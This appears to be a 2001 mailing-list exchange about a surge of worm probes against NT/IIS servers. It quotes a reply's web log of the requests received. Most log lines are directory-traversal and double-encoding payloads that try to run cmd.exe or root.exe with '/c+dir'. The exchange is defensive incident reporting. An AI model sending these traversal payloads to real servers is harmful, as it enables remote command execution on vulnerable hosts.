Worm probes

Tue Sep 18 14:01:23 UTC 2001

On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma at pair.com said at one point in time:
> 
> 
> Has anyone else been seeing a dramatic increase in /scripts/.. NT worm
> probes this morning?  We're seeing about 8000/second, starting around 9:15
> Eastern time, to and from a wide variety of addresses.

affirmative.  i just looked at my logs, and it looks like
each probe tries a bunch of things.  i haven't seen much
on the lists, but i'm looking right now.

owned.site.com - - [18/Sep/2001:09:55:51 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:51 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:51 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:51 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:52 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"
owned.site.com - - [18/Sep/2001:09:55:53 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 271 "-" "-"

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